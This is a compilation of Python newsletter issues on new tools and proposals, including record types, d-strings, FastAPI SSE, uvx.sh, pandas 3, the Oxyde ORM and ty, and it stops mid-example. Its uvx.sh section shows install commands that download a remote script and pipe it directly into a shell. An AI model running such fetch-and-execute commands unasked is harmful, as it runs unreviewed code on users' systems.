Yes, yes, OpenAI bought Astral. We know. There is already an article dedicated to that.

In other news:

• Core dev Brett Cannon published a PoC for a new Python record type

• The Python JIT is finally producing better perf

• A new take on Rest API with Python: django modern rest.

Subscribe now

Brett Cannon’s PoC for a new Python record type

Last June, Brett Cannon published a proposal to introduce a new struct object in Python. I liked the idea because when you are on a Python code base with a lot of type hints, you have to declare a ton of disposable types you will use only for a single function. This is making such a situation less of an ordeal.

But it had a drawback: a new syntax and a new keyword. Two things that are quite hard to introduce to the project.

So Brett came back this month with a lib to create a record type that you can find on pypi.

Now brace yourself, the syntax is weird:

>>> from records import record
...
... @record
... def InventoryItem(name: str, price: float, *, quantity: int = 0):
...     """Class for keeping track of an item in inventory."""
...
>>> item = InventoryItem("Bread", 4, quantity=2)
>>> item
InventoryItem(name='Bread', price=4, quantity=2)
>>> item.name
'Bread'

Yes, you read that well, we have a decorator on a function with camel case that gives us a constructor we use to generate the object, like a class would do.

It’s a proof of concept.

But it shows we can have a short typed definition for an object that requires no body to run, that explicitly says it’s not meant to be inherited, and that is immutable and hashable.

In fact, it defines __slots__ , __match_args__ , __annotations__ , __eq__() , __hash__() and __repr__() automatically. It’s more or less the equivalent of:

from dataclasses import dataclass, KW_ONLY

@dataclass(frozen=True, slots=True)
class InventoryItem:
    """Class for keeping track of an item in inventory."""
    name: str
    price: float
    _: KW_ONLY
    quantity: int = 0

Which is much more verbose.

I still prefer the struct proposal, which would give you:

struct InventoryItem(name: str, price: float, *, quantity: int = 0)

It’s even shorter; the keyword makes it clear it’s meant to be an immutable record, and potentially, it could be inlined as a return value type hint. Something we know from PEP 764 (inlined typed dicts) is interesting to a few people already.

Django Modern Rest, an interesting take on APIs

The Python world is rich with options to create Web API. FastApi is super popular, Django Rest framework is surprisingly still very much used, and Django-ninja has gained in popularity over the last year.

Well, a new contender joined the party: Django Modern Rest.

Like django-ninja, it takes inspiration from FastAPI type hint introspection to create a similar look and feel in Django, albeit using class-based views instead of functions.

But instead of only supporting pydantic models to define your endpoints’ schema, it also supports attrs and msgspec.

The latter is the selling point of the framework, because this library claims it is capable of parsing AND validating JSON faster than orjson (one of the fastest JSON parsers out there) can just parse it. On top of that, it also supports MessagePack for micro services.

I haven’t verified those claims, and the framework is a bit too new for me to try it out in a serious project just yet. Not to mention my code is usually I/O bound, generally by the DB queries, so I’m not sure how much I would get by adopting this.

But the project philosophy is clear, API makes sense, and the docs are nice, so I’m going to keep an eye on it.

The new JIT is finally Jitting

For several versions, Python came in with a built-in Just In Time compiler similar to Pypi. So far it was touted mostly as infrastructure work, without producing much performance improvement.

It was expected to be harder to get massive gains from it, because of the additional constraints of needing to support C-extensions and not slowing down startup time for small script.

But it finally happened, the Python 3.15 alpha JIT is now officially about 11-12% faster on macOS AArch64 than the tail calling interpreter, and 5-6% faster than the standard interpreter on x86_64 Linux.

You won’t get those perf gains for all workload as they are average over many tasks, which can show from 20% slowdowns to doubling the speed, so your mileage will vary, but it’s still some pretty good news considering they are adding up to the few gains of the last Python versions:

• 3.11: +25–30%

• 3.12: +3–7%

• 3.13: +2–5%

• 3.14: +5–10%

If we add 10% on top of that, we compound to 60% faster in 5 years. Far away from the 500% initially desired, but still significant.

But apparently, even those results were very hard to obtain:

I cannot overstate how tough this was. There was a point where I was seriously wondering if the JIT project would ever produce meaningful speedups. To recap, the original CPython JIT had practically no speedups: 8 months ago I posted a JIT reflections article on how the original CPython JIT in 3.13 and 3.14 was often slower than the interpreter. That was also around the time where the Faster CPython team lost funding by its main sponsor.

And Moar

• Django ninja, my current go-to for creating Web API, landed SSE support.

• I just discovered formualiazer, a Rust and Python engine to manipulate spreadsheets that can parse, evaluat,e and mutate formulas!

• HTTPX and MKDocs’ author is worrying the .

• Velxio 2 is out to let you emulate Raspi and Esp32 in the web browser. And yes, you can simulate attaching components to GPIO and run Python code.

• Python 3.14.3, 3.12.13, 3.11.15 and 3.10.20 are available.

• Python 3.15 alpha has been released, should you want to test it. But lazy imports are not in there yet.

ChatGPT makers acquired the company behind uv, which has become an incredibly popular and critical part of Python tooling in a very short time, despite worries about its sustainability.

So, will I keep using uv?

Yes.

It’s easy to leave uv if anything goes wrong in the future, I don’t bet that much will, not to mention it’s very forkable.

Subscribe now

Everything is terrible

OpenAI, the company behind ChatGPT, has bought Astral, the makers of ruff, ty and uv.

It created a lot of turmoil in the Python community because:

• uv is an amazing tool that solved extremely well the most important set of problems of the modern Python ecosystem.

• It has taken the world by storm, being adopted in a blink by a whole lot of people.

• Since the begining, many voices raised their worries about Astral, a VC-funded startup, being at risk of failing to sustain itself and provide a stable future for uv.

• AI in general is a controversial topic. It not only comes with its own ethical challenges, but the hype around it means it creeps everywhere, nourishing aversion from detractors even more.

• OpenAI itself has been subject to many critics as an actor in the space from the moment it moved from non-profit to private corporation to the most recent deal with the military industry.

Oh boy, that’s a lot!

While I always kept in my mind the possibilities that Astral got bought, as a logical and quite common path for this type of structure, I really didn’t see coming that Sam Altman would pick it up. And yet, Anthropic, OpenAI’s biggest competitor with Claude, recently acquired bun (from the JS world), so there is a precedent.

Since all parties involved are certainly neck deep into an NDA, it’s impossible to know for sure the rationale behind this move. But Codex, the answer to Claude Code, is written in Rust, like uv, while the latter is written in JavaScript. So maybe it’s all talent acquisition. Maybe there is a Python strategy behind the move, as AI relies on it a lot of a lot. Or maybe it’s the biggest play with packaging in mind, given everybody and their mothers want to become a platform now. Gotta get this sweet, sweet, app store 30%.

But it’s all speculation, and I don’t know how much we can trust the PR, but we do have this nugget from the announcement:

Our goal with Codex is to move beyond AI that simply generates code and toward systems that can participate in the entire development workflow—helping plan changes, modify codebases, run tools, verify results, and maintain software over time. Astral’s developer tools sit directly in that workflow. By integrating these systems with Codex after closing, we will enable AI agents to work more directly with the tools developers already rely on every day.

I’d say we are living wild times, but given what’s happening right now outside of the tech sphere, this would be an understatement.

So let’s focus on what I can actually control, shall we?

Will I keep using uv?

Well...

Yes

It’s basically a low-risk bet for a huge value. uv is fantastic, going back to something else would be a serious downgrade.

But it would not be hard.

Migrating to uv is super simple. And migrating back from it is not much harder. After all, it’s mostly pip compatible, and it can import/export standard formats.

It just means using again pip and venv, tools I used for a decade, and I still use for several of my current clients. That’s not really a cause for alarm.

In fact, if you have to, I just updated the article on how to use them.

So if anything goes wrong, I have a backup plan.

But that’s the thing. Nothing went wrong yet.

And I don’t have many reasons to think that things will go wrong.

First, it’s unlikely OpenAI wants to destroy and downgrade a product they paid a lot of money for. They are not Microsoft; they are still very competent, no matter how you view their moral compass. As long as uv stays the same, even if it doesn’t add anything, it’s already amazing.

The biggest risk is python-build-standalone, but it existed before uv. Astral made sure to contribute improvements upstream, and the Python core devs have been interested in providing portable executables for a long time. The probability this becomes a choke point is not zero, but it’s not code red in my book.

This means uv can likely be used for the next 5 years without little to no modification, which, of course, I’m not thinking will happen anyway.

Second, it’s under MIT licence. If it gets enshittified, it’s going to get forked. Hell, it’s been forked right now! And it already had 2800 forks on Github before the announcement.

But again, it’s not high on my contingency list. uv is a CLI tool. It’s more advantageous to keep it good and use that to sell stuff to users than to make it bad for a few bucks.

In fact, Charlie Marsh insisted:

OpenAI will continue supporting our open source tools after the deal closes. We’ll keep building in the open, alongside our community -- and for the broader Python ecosystem -- just as we have from the start.

I know, I know, it’s just words. But they are the right ones.

How do I deal with the ethical ramifications of my decision then?

Nope, I’m on a tech blog.

I’m not getting into philosophy and politics.

If you want my personal opinion on the matter, come to the south of France and buy me a drink.

But then, will I encourage people to keep using uv?

Well...

Yes

I still think it’s the tool that almost everyone should be using. I don’t see a technical reason for people who need it and can use it to suffer from its absence. Worst-case scenario, they have to drop it later. The effort to do so is marginally more than not using it in the first place, and has a high chance of never happening.

Also, while I understand the opposing arguments, I also know that outrage, catastrophizing, and virtue signaling are huge driving forces these days, and I want to stay as far away as I can from them for my own sanity.

Since I also wish others the best, I’d rather just tell everyone to keep uving.

If I’m wrong, so what? They’ll save months of pain by using it until the very last minute, when it’s not tenable anymore.

I’m good with that.

Wow, it’s March already?

I blinked, and a whole month passed while:

• Pydantic decided to rewrite Python just in case AI turns out to be useful.

• FastAPI when full retro and implemented a tech from the 2000’ for notifications and giggles.

• d-strings appeared out of nowhere. Because t-strings and f-strings are so last year.

• And we may have inline dictionary type hints now.

• Substack finally added code coloration \o/

Ok. Ok. I’m ready.

Subscribe now

Pydantic creates a whole new Python implementation

Pydantic started as a validation library. Then the team moved to release Logfire, an observability SaaS. And, still using the validation models as a way to structure inputs and outputs, they came up with an AI workflow library.

It’s already Game of Thrones level of character development here, but then Samuel Colvin went on to announce that they have created Monty, an entirely new Python implementation in Rust.

Now this is a twist!

They have been using and advocating for AI coding for some time, hence Pydantic AI, and the AI capabilities in LogFire. One of the challenges with AI is to:

• Get reliable results.

• Fast, without burning through a lot of tokens.

• Without exposing yourself wide open.

There is a race to provide the platform that will give programmers the best experience for this. Projects like godonlin and spritz are popping right and left.

The thesis of Pydantic’s team is that models are more efficient when programming than when trying to stitch together a bunch of CLI tools or calling MCP. Something that OpenClaw hinted at.

So they went on and created a new Python VM that:

• Is completely sandboxed. By default, it can’t do I/O, system calls, etc. You have to give it permissions and provide implementations.

• Starts under 1μs.

• Can be paused and resumed.

• Can be snapshotted (you can save its entire state to disk, and reload it).

• Can be called from Rust, Python, or Javascript.

• Can control RAM usage and execution time.

Of course, to be able to do all that, Monty doesn’t implement the entirety of Python. Right now, it doesn’t even have classes, and can only access a small subset of the standard library.

In this sense, it has a bit of the characteristics of:

• Pyiodide for the full sandbox

• Starlark for the selective exposure of features. Remember, we had an article on this.

• Docker for the ability to mount scoped filesystems and snapshotting.

• MicroPython for the small footprints and fast startup.

You can install it with pip install pydantic-monty, and start sending code to it:

>>> import pydantic_monty
>>> limits = pydantic_monty.ResourceLimits(max_duration_secs=5.0, max_memory=1024 * 1024)
>>> vm = pydantic_monty.Monty('x * y * z', inputs=['x', 'y', 'z'])
>>> result = vm.run(inputs={"x": 2, "y": 3, "z": 4}, limits=limits)
>>> print(f'Calculation with generous limits: {result}')
Calculation with generous limits: 24

Give the very alpha status of the tech, expect lots of bugs.

It’s a bit of a weird beast, and honestly, I don’t know if it’s going to be the ideal interface for LLM it’s supposed to be, but I don’t care because even outside of AI, it has wild potential!

You can use it as a user-exposed scripting language, and risk nothing while offering a full-featured programming language for custom behavior.

You can use it for small devices that need to be switched on and off often because, hey, it starts fast, and it can be snapshotted.

It’s in Rust, so you can WASM it, which means you could use that to program in Python in the browser.

And of course, as a configuration language to replace Starlark.

It’s a bold strategy Cotton. Let’s see if it pays off...

PEP 821, a proposal for a dedented strings

You know how creating multi-line strings suck in Python?

>>> def broken_description():
...     return """
...         This is a superb text
...         but it will be completely
...         indented.
...     """
...
... print(broken_description())
...
... def ugly_but_correct():
...     return """This is a superb text
... but it will be completely
... indented."""
...
... print(ugly_but_correct())

        This is a superb text
        but it will be completely
        indented.

This is a superb text
but it will be completely
indented.

We do have the dedent function, but do you really know how to use it?

>>> from textwrap import dedent
...
... def are_you_sure():
...
...     return dedent(
...     """This is a superb text
...         but it will be completely
...         indented.
...     """)
...
... print(are_you_sure())
...
... def like_this_maybe():
...
...     return dedent("""This is a superb text
...         but it will be completely
...         indented.
...     """)
...
... print(like_this_maybe())
...
... def no_it_was_like_this():
...     # need a backslash to avoid additional line break
...     return dedent("""\
...         This is a superb text
...         but it will be completely
...         indented.
...     """)
...
... print(no_it_was_like_this())
This is a superb text
        but it will be completely
        indented.

This is a superb text
        but it will be completely
        indented.

This is a superb text
but it will be completely
indented.

So, the PEP proposal is to add d-strings:

 def nice_solution():
    return d"""
        This is a superb text
        but it will be completely
        indented.
    """

It’s very natural, doesn’t require an import, is nicely dedented and will not require \ to avoid a sneaky line break. It also removes indentation BEFORE processing escape sequences, allowing the use of continuations with \ if you want to.

Can’t wait to use rdt"{}" in a codebase. Hitting 3.15, hopefully.

PEP 764 – Inline typed dictionaries

This one is simple.

You know how it’s really verbose to type a little dictionary in Python?

from typing import TypedDict

class MovieDict(TypedDict):
    name: str:
    year: int

def get_movie() -> MovieDict:
    return {
        'name': 'Blade Runner',
        'year': 1982,
    }

Well, this PEPS says let’s skip the intermediary:

from typing import TypedDict

def get_movie() -> TypedDict[{'name': str, 'year': int}]:

    return {
        'name': 'Blade Runner',
        'year': 1982,
    }

Yes, please.

Fast API gets Server Side Events

Sometimes, you want to notify the browser in real time, and you don’t want to setup a full duplex communication and deal with the disconnections that come with that, plus the stateful nature of the whole deal.

I know, right?

What I mean is that 99% of the time, you don’t want websockets, you just want to say “hey browser, I got something new” and that’s it.

For this, there is an old tech called Server Side Event, that lets the browser just do a basic HTTP request to your server, and then keep a connection alive to get a stream of events.

Seems simple. Easy. Could solve tons of sync and notification problems.

And it is. And it does.

SSE are the forgotten child of the Web, and an undervalued tool that can do a lot with very little.

And finally, FastAPI lets you use them:

from collections.abc import AsyncIterable, Iterable

from fastapi import FastAPI
from fastapi.sse import EventSourceResponse
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    name: str
    description: str | None


items = [
    Item(name="Plumbus", description="A multi-purpose household device."),
    Item(name="Portal Gun", description="A portal opening device."),
    Item(name="Meeseeks Box", description="A box that summons a Meeseeks."),
]

# When a browser does a GET on this, it will receive the results as a stream
# of events
@app.get("/items/stream", response_class=EventSourceResponse)
async def sse_items() -> AsyncIterable[Item]:
    # There can be minutes between yields in real like. Here they are
    # one after the other, but you can imagine items as beeing a generator
    # fetching from any source of events
    for item in items:
        yield item

On the JS side, calling it would look like this:

const source = new EventSource("http://your_website.tld/logs/stream");

// This will pop for each item you yield
// Data is in the JSON format by default
source.onmessage = (event) => {
  console.log("log line:", event.data);
};

SSE has the nice quality of working through most proxies, being cacheable, using a standard port, and transparently working with regular keep-alive infra without having complicated reconnection semantics on the Python side.

It’s basically polling, without the overhead.

Hope we’ll get a good story for it one day in Django. Would be nice to catch up with 2009 innovations.

Which was 17 years ago, in case you forgot how bloody old you are.

And Moar

• PEP 821 suggests a new type hints: Unpack[TypedDict]. The goal is to be able to type **kwargs without the verbosity of a protocol.

• The Python dev survey is here. Give a piece of your mind.

• PEP 747 - Annotating Type Forms has been accepted. This is a bit meta, as those are types meant to type function that accept types as parameters. Libraries like attrs and pydantic need this. You probably don’t.

exe.dev is a new service that is a weird cross-over between a VPS, Heroku, and a local Docker pod.

You ssh to it. You ask nicely to get a new VM. And you get it in 5 seconds.

Except it’s a fully functional Ubuntu image, connected to the web with an HTTPS server and disk persistence, and you are root.

Claude and I love this.

This is not sponsored content. There is NO sponsored content on this blog.

Subscribe now

Quick. Dirty. And online.

Before LLM, I had plenty of projects I started but never finished. Now, thanks to Claude code, I have plenty of buggy proof of concepts!

And of course, I need to put them online.

My go-to tool for that used to be to get a VPS on OVH or Hetzner, two amazing European providers. They are flexible, cheap, you get full control of the OS, SSH access, and unmettered bandwith.

But I usually had to set up several services in one server to make them worth the time to order them, and of course, our darling AI is quite good at deploying once on a virgin pristine server, but on one with a lot of running stuff, it’s kinda playing with your luck.

Plus, it’s slow to have to define the partitions, wait for the server to arrive, reinstall and configure nginx, deploy SSL, ensure separation of users, install the ssh key...

But there’s a new player in town: exe.dev.

It’s my new provider for half-assed projects cemetery.

It’s just ssh

The UI for exe.dev is mainly the terminal. In fact, you start by sshing into their server (yep, try it!):

ssh exe.dev

And you get right into the registration process. It’s quick and nerdy, and once you are done, you are ready to host your first project.

You get to choose between various offers, and they are not nearly as cheap as a VPS. In fact, compared to my usual VPS, they are quite expensive:

But the point here is the convenience: you get a mix between a full server access, on-demand VM, and pre-configured hosting (like Heroku), all in one.

Let me explain.

I have the first offer, so I get a small server with:

• 2 CPUs

• 8GB RAM

• 25GB disk+

• 100GB data transfer+

Nothing crazy. Actually, small specs for 2026. The OVH offers are much better:

But it can be divided into 25 VMs. And this is where it’s becoming very interesting.

Every time I want to put a prototype online, I can just:

ssh exe.dev -i .ssh/my_exe_dev_key.pub

Then I’ll get a shell where I can manipulate all the VMs:

Add a new one, decommission one, and expose one publicly to the web. It’s all instant, one command away.

Creating a new, fresh, Ubuntu VM:

Done, 3 seconds.

Exposing it online:

Done, port 443 from outside is now mapped to localhost:8000, with https and a nice automatically generated SSL cert.

Connecting to the VM is just regular ssh:

❯ ssh maple-dune.exe.xyz -i .ssh/my_exe_dev_key.pub

You are on maple-dune.exe.xyz. The disk is persistent. You have 'sudo'.

For support and documentation, "ssh exe.dev" or visit https://exe.dev/

Docker is installed and works; try "docker run --rm alpine:latest echo hello world"

That’s it. I want to serve a Django site? Install Redis? Make a crawler? Setup a cron that regularly makes an API call? I got it all there.

You can scp, apt and vi to your heart’s content.

Experiment done?

Finished. Forgotten.

And since it’s all regular SSH and Ubuntu, Claudes loves it. It can deploy like a champ and in a blink. Thanks to the isolation, it also cannot wreck all my services at once in case of an abundance of enthusiasm.

Is it fast? No. You share 2 CPUs among 25 VMs, it’s more akin to having a cloud Raspberry Pi.

But my little WSGI + SQlite setups don’t need a big boy house before they are ready and polished and perfect.

So probably never.

I pay yearly domain name fees for all of them, though.

Just in case.

• Astral publishes UVX.sh, a service that lets anybody install any Python CLI tool published on Pypi without having to deal with Python. Or to even know it’s Python.

• Pandas 3 is out. It breaks a few things, but the new API avoids many footguns like unexpected mutations and untyped strings.

• A new Python ORM named Oxyde has been released, and for once, it comes with really interesting design choices: async by default yet Django ergonomics and still good perfs, typing validation with pydantics, integrated migrations and n+1 safety nets.

• And of course, moar stuff.

  Subscribe now

UVX.sh

If we didn’t have a big announcement from Astral, would it be a month worth living?

They, rather quietly, published UVX.sh, a website that lets you curl install any Python tool. Of course, it uses uvx under the hood (and the secret sauce is not even that complicated).

This means you can install things like the excellent video download yt-dlp by typing:

curl -LsSf uvx.sh/yt-dlp/install.sh | sh

On Unix.

And:

powershell -ExecutionPolicy ByPass -c "irm https://uvx.sh/yt-dlp/install.ps1 | iex"

On Windows.

It’s simple and wicked fast. But on top of it, it requires no knowledge of Python whatsoever, something that has always made installing Python tools a barrier in the past.

Now, because Python has one of the best supports for foreign language interfaces, PyPI is full of tools that are actually not written in Python.

You can surprisingly install nodejs, redis, just or ripgrep.

At this point, this makes the whole thing look more and more like homebrew, but faster, and with fewer footguns.

You can do wild things with it:

• Fully bootstrap your project. Because, well, you can install uv, and then run it right after.

• Run any code file or full repo from anywhere on the web, because well, uv can just do that.

• One shot run any cli tool that uses an executable you like available on PyPI without having to wonder where it comes from and where it’s going. Because, well, uvx can do that.

You don’t need to care about your Python setup. The people you give the command to don’t need either.

Wanna run a full templated project? One shot copier. Wanna convert a file to markdown? One shot markitdown. Want to have a great shell to explore a rest API? One shot httpie. Wanna share this jupyter notebook with your non-python expert colleagues? One shot juv.

This is an idea I played with for some time and talked about on Bluesky before. But the difference between talking and doing is me and Astral.

Pandas 3 is out

A big breaking pandas update is here, and it’s about time.

pandas, the most popular data exploration library, has seen its lunch slowly eaten by alternatives with better perfs and a better API such as polars.

Time to react.

There are many changes, but the most important are:

• If you store a string in a dataframe, it’s now a string type by default. Believe it or not, but up until today, pandas assigned it the type of a generic object. This was annoying and slow. Now it’s just faster and more congruent:

import pandas as pd
ser = pd.Series(["a", "b"])
0    a
1    b
dtype: str

• Copy-on-write behavior is now consistent. Indexing ALWAYS returns a copy of the previous series or dataframe. This means this used to modify the original dataframe:

>>> df = pd.DataFrame({"A": [1,2], "B": [3,4]})
>>> s = df["A"]
>>> s.iloc[0] = 100
>>> print(df)
   A  B
0  100  3
1    2  4

But not in pandas 3. Now this prints:

 A  B
0  1  3
1  2  4

Because the series is a copy. This avoids the problem where, sometimes, indexing returned a copy, and sometimes a reference. Now it’s always a copy, and you know what you get.

Want to modify the original dataframe? Index it directly:

>>> df.loc[0, "A"] = 100
>>> df

     A  B
0  100  3
1    2  4

The goal is to encourage a more functional style in the long run. But for now the imperative style is still the most convenient for cell operations.

• However, for column-based operation, the new col object is great for functional style:

Before:

>>> df = pd.DataFrame({'a': [1, 1, 2], 'b': [4, 5, 6]})
>>> df.assign(c=lambda df: df['a'] + df['b'])

   a  b  c
0  1  4  5
1  1  5  6
2  2  6  8

With col:

>>> from pandas import col
>>> df.assign(c=col('a') + col('b'))

   a  b  c
0  1  4  5
1  1  5  6
2  2  6  8

This allow to use a functional style instead of an imperative style without needing a lambda in the way.

Of course, all that stuff will break a lot of pandas code, so don’t upgrade old projects on a whim. But if you start a new project and you want to use pandas instead of polars, then this will make your pandas code faster, more robust, and encourage better patterns.

There is a new ORM in town

There are a lot of ORMs in the Python world, but practically, I use 3:

• Django’s ORM, when I can, because it’s the most convenient. If I want perfs, I write SQL manually.

• SQLAlchemy when I want an ORM, but I’m not on Django. Or when I want an abstraction without ORM.

• Peewee, when I need a quick DB thing and I don’t need anything fancy or good integration.

Each of them has their problems:

• Their async story is not great.

• Django’s ORM is framework-dependent. Also, it has the worst perfs of all. Still my favorite because the ergonomics are amazing.

• SQLAlchemy is really hard to use correctly. Most SQLA projects out there commit some crime or another while using it. And it’s damn verbose.

• Peewee has super limited integration with other tools, and not much benefit compared to the others except being lightweight. A good selling point, mind you, I’m not denying it.

And I’ve been looking at every new ORM coming around the corner, and none appealed to me. They never had this thing that led me to think that the cost of trying it out would be offset by what they had to offer.

Until oxyde ORM just came out:

• It’s async by default.

• It supports type hints quite naturally.

• It has Django’s ORM’s ergonomics, but without annoying stuff like magical id, table inheritance shotguns and n+1 honeypots.

• It’s faster (per their benchmark) than all the alternatives.

• It’s using Pydantic models like SQLModel, but without the boilerplate.

• Good support for transaction, raw sql, and serialization.

• It comes with built-in explain() method.

• It has a decent API for DB-specific settings, like a sqlite_journal_mode="WAL" knob and a configurable pool setting class that you can easily use.

• It has separate pre/post_create/delete hooks.

• It does migrations out of the box.

I really like what I’m seeing.

I haven’t used it in a real project yet, and it will take some time before I do, but I played with it using about 100,000 objects in a CRUD demo using movies and actors, and it’s been nice. This is nice to read:

from __future__ import annotations

from typing import Optional

from oxyde import OxydeModel, Field


class Genre(OxydeModel):
    """Movie genre."""

    id: Optional[int] = Field(default=None, db_pk=True)
    name: str = Field(db_unique=True)

    class Meta:
        is_table = True
        table_name = "genres"


class Director(OxydeModel):
    """Movie director."""

    id: Optional[int] = Field(default=None, db_pk=True)
    name: str = Field(db_index=True)
    birth_year: Optional[int] = Field(default=None)
    country: Optional[str] = Field(default=None)

    class Meta:
        is_table = True
        table_name = "directors"


class Actor(OxydeModel):
    """Movie actor."""

    id: Optional[int] = Field(default=None, db_pk=True)
    name: str = Field(db_index=True)
    birth_year: Optional[int] = Field(default=None)
    country: Optional[str] = Field(default=None)

    class Meta:
        is_table = True
        table_name = "actors"


class Movie(OxydeModel):
    """Movie entry."""

    id: Optional[int] = Field(default=None, db_pk=True)
    title: str = Field(db_index=True)
    year: int = Field(db_index=True)
    rating: Optional[float] = Field(default=None)
    duration_minutes: Optional[int] = Field(default=None)
    synopsis: Optional[str] = Field(default=None)
    # Optional at Python level to allow director_id=N syntax, but NOT NULL in DB
    director: Optional[Director] = Field(default=None, db_nullable=False, db_on_delete="RESTRICT")
    genre: Optional[Genre] = Field(default=None, db_on_delete="SET NULL")

    class Meta:
        is_table = True
        table_name = "movies"


class MovieActor(OxydeModel):
    """Many-to-many relationship between movies and actors."""

    id: Optional[int] = Field(default=None, db_pk=True)
    movie_id: int = Field(db_fk="movies.id", db_on_delete="CASCADE", db_index=True)
    actor_id: int = Field(db_fk="actors.id", db_on_delete="CASCADE", db_index=True)

    class Meta:
        is_table = True
        table_name = "movie_actors"

And it’s nice to use:

>>> await Movie.objects.first() # you can't n+1 yourself to death

Movie(
    id=1,
    title='Cross-Group Impactful Conglomeration',
    year=1979,
    rating=2.6,
    duration_minutes=87,
    synopsis='Show couple military indeed subject vote grow. Company however quite especially culture relationship.',
    director=None,
    genre=None,
    director_id=2332,
    genre_id=27
)

>>> await Movie.objects.join("director").first()
Movie(
    id=1,
    title='Cross-Group Impactful Conglomeration',
    year=1979,
    rating=2.6,
    duration_minutes=87,
    synopsis='Show couple military indeed subject vote grow. Company however quite especially culture relationship.',
    director=Director(id=2332, name='Ashley Morton', birth_year=1969, country='UK'),
    genre=None,
    director_id=2332,
    genre_id=27
)
>>> (await Movie.objects.join("director").first()).director.model_dump()
{'id': 2332, 'name': 'Ashley Morton', 'birth_year': 1969, 'country': 'UK'}
>>> await Movie.objects.filter(director__name__contains="daniel").count()
1046
>>> Director.objects.create(name="Foo", birth_year=1990, country=1)
<coroutine object QueryManager.create at 0x752a14efa640>
>>> await Director.objects.create(name="Foo", birth_year=1990, country=1)
Traceback (most recent call last):
...
ValidationError: 1 validation error for Director
country
  Input should be a valid string [type=string_type, input_value=1, input_type=int]
    For further information visit https://errors.pydantic.dev/2.12/v/string_type

>>> await Director.objects.create(name="Foo", birth_year=1990, country="uk")
Director(id=5001, name='Foo', birth_year=1990, country='uk')

You see, one thing that I positively love about Django’s ORM and hate about SQLA is the session management. Yes, SQLA gives you more granularity to use fully your DB features and the various compromises about isolation levels, rollback strategies and so forth. But in the vast majority of my projects, I don’t want to spend mental energy on that. I just want to have a big transparent connection pool that will automatically make the Pareto decision.

In fact, I’ve been way more often in a situation where I joined a project with a disastrous SQLA session management that caused a ton of problems because the team didn’t understand the subtleties of the topic, than I got into trouble because of Django automatic behavior.

In this shell example, you can see I don’t have to care about connection, session, commit. And I love that.

So Oxyde seems not only to be a good compromise between the 3 ORMs I like, but more performant, with typing and good async integration to be used in FastAPI.

One of the consequences of this is that you can use modern Python features very naturally, like task groups:

async with asyncio.TaskGroup() as tg:
    user_task = tg.create_task(User.objects.get(id=1))
    posts_task = tg.create_task(Post.objects.filter(author_id=1).all())

user = user_task.result()
posts = posts_task.result()

This means making parallel I/O very clean and simple. I/O is a low-hanging fruit for perfs in web projects, and this part has always been harder than necessary in Python.

ty can happily check the codebase, because it’s all regular typing. And since your models are just Pydantic under the hood, you can use any Pydantic validator and serializer your heart desires.

What’s not to love?

Well, the fact that it’s version 0.3 and that with db stuff, you really, REALLY want mature tech that will be maintained in 10 years. So I’m going to keep exploring it, but I’m not going to commit to that tech for important things.

Of course, this also means the doc needs some love. What’s more, some design decisions are not to my liking:

• An implicitly imported Python config file is one of the worst warts of Django. Copying that is a terrible idea.

• Detecting automatically models.py kinda makes sense in a framework, but not for a generic lib.

• There is no sync API. I like that async is the default, and having to maintain 2 API is a pain. I get it. But typing await everywhere in a script or in the shell is not a fun experience. I wish I could do SyncUser = User.get_sync_model() for those use cases.

Still, I’m happy it exists, it’s a tremendous new project. Let’s see where it’s going.

And as per tradition now, moar

• It’s now easier than ever to distribute Go binaries on pypi.. Gonna mix well with uvx.sh.

• build is out in 1.4, adding straighforward dump of package metadata.

• Core dev Savannah Ostrowski releases debugwand: a zero-preparation remote debugger for Python applications running in Kubernetes clusters or Docker containers

• Anthropic (the company behind Claude code) is investing $1.5 million in the PSF, focused on security.

• Python dev survey for 2026 is out. It takes 20 minutes, and is super interesting each year. Please fill it out!

• The French gov is working on alternatives to American tech. I wrote about why it’s absolutely imperative for our survival before it was cool. The first round of tools uses Django as a backend.

• Astral reveals it’s been using AI regularly. Armin Ronacher, Antirez, Linus Torvald, and now them. People who said AI was not a serious coding tool have lost credibility forever in my mind. Of course, I now expect the pivot where said people will argue they never said that, but I won’t waste time engaging with them anymore.

• The excellent Django packages website gets a new design. This is just an opportunity for me to talk about this old gold nugget to find django related libraries. It’s using tailwind and htmx, two technologies that again many people said were not for serious use. I’m sensing a recurring theme.

• The great Django CRM engine Wagtail gets a new version that includes a very welcome autosave feature.

• And the usual updates for Python: 3.15 alpha, 3.14.13 and 3.13.12.

It’s the end of the year as you know it, and we close 2025 with the release of ty, the little brother of ruff and uv, that will take care of your code’s type. But, surprise, it goes beyond that!

On top of this, Django seems to move away from the dreaded CSRF token.

And finally, the author of rich and textual has a new AI toy, just for you: toad, an agent-agnostic chat UI.

Plus, of course, moar stuff.

Subscribe now

Astral officially releases its type checker

After the exceptional ruff and uv, a lot of people were eagerly waiting for Charlie Marsh’s team to provide an alternative to mypy and pyright. The project, first known by the codename redknot, was developed in the open, so you could actually get the branch and install it yourself to test it at any time, but it was really immature.

However, this month they posted ty‘s first release, in beta quality, and in typical Astral fashion, they already did 5 more since then.

So what to make of it?

It’s as fast as you can expect from their work. Virtually instant. If you have used the painfully slow competition in the past, you get once again this “wow” feeling in the transition.

And it’s unfinished. Typing is complicated, ty has many gaps and holes that will still take months of iteration to fix. That’s why they have a beta.

But while I wouldn’t use it with my clients just yet, I’m definitely using it in all my personal projects already, because the convenience of it is worth the missing features.

You see, ty is not just a command-line type checker; it’s also a Language Server Protocol service, which means you can replace the Python support of the best editors with it, including pylance in VSCode. It even has its dedicated extension.

This means not only is your code type checked with ty in a fast and efficient manner, but also “go to definition”, display of inlays, docstring tooltips (including non-standard attribute docstrings), and, more importantly, completion and automatic import, are done with it.

There is currently no alternative in the market to this LSP. It will let you type any class name in a file and instantly offer you a list of names from anywhere in your code base and deps, while adding the import automatically in the blink of an eye.

Pylance and PyCharm sort of do that, but it’s less precise, reliable, and much slower.

This is the killer feature, right now. Not the type checking.

Now, don’t get me wrong, the type checking is useful, but it’s the cherry on the cake.

ty‘s type checking is, as I said, incomplete. For example, Self support is to be improved, but as you can see, they are already on it.

However, it can already do useful things that others can’t.

Let’s take this example from their doc:

class Person:
    name: str

class Animal:
    species: str

def greet(being: Person | Animal | None):
    if hasattr(being, "name"):
        print(f"Hello, {being.name}!")
    else:
        print("Hello there!")

As a human, you know that if it’s either a Person, an Animal or None, this code is valid. And if the object has an attribute name, it’s a Person.

Yet both pyright and mypy are not smart enough to understand this.

pyright stays stuck on the idea that if it’s an animal, being.name is going to fail:

pyright greet.py
greet.py
